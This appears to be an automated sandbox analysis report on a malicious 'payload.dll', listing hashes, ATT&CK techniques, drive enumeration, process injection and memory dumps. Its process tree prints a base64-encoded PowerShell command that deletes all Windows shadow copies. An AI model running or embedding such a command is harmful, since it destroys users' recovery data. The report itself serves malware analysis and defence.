bcab34cfcc51aea5af5521b74a74921910f07492741d10f1fb35f394030d87fb

Analysis

max time kernel
15s
max time network
18s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
09-10-2022 17:02

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General

Target

payload.dll
Size

164KB
MD5

d1d0cf18956a20a8fea65f26c57ff221
SHA1

cbc693b7ffd3271335d8fe77ea4822d469296516
SHA256

af7a14a249990479f187b3d2d0897118eeca857482ccb0215dc3c77bc908213f
SHA512

ddaac901d24efe39dc1588e235ca25c1f65fb9990f5ab8c0f494121e4706baf8c6a57428d39378408ead354d3176abc700f2b74186ab364785bb24b0ccc8d333
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFf76hFE9Ud8mNfWO5:veoUeZR2TRCWQFf76j8+WO5

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

4900 rundll32.exe
4900 rundll32.exe
3980 powershell.exe
3980 powershell.exe

pid	process
4900	rundll32.exe
4900	rundll32.exe
3980	powershell.exe
3980	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4900	rundll32.exe
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeBackupPrivilege	2772	vssvc.exe
Token: SeRestorePrivilege	2772	vssvc.exe
Token: SeAuditPrivilege	2772	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 4844 wrote to memory of 4900	4844	rundll32.exe	rundll32.exe
PID 4844 wrote to memory of 4900	4844	rundll32.exe	rundll32.exe
PID 4844 wrote to memory of 4900	4844	rundll32.exe	rundll32.exe
PID 4900 wrote to memory of 3980	4900	rundll32.exe	powershell.exe
PID 4900 wrote to memory of 3980	4900	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\payload.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4844

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\payload.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3980

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4228

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3980-134-0x0000000000000000-mapping.dmp

Download
memory/3980-135-0x000001C989800000-0x000001C989822000-memory.dmp

Filesize
136KB

Download
memory/3980-136-0x00007FFBBC5F0000-0x00007FFBBD0B1000-memory.dmp

Filesize
10.8MB

Download
memory/3980-137-0x00007FFBBC5F0000-0x00007FFBBD0B1000-memory.dmp

Filesize
10.8MB

Download
memory/4900-133-0x0000000000000000-mapping.dmp

Download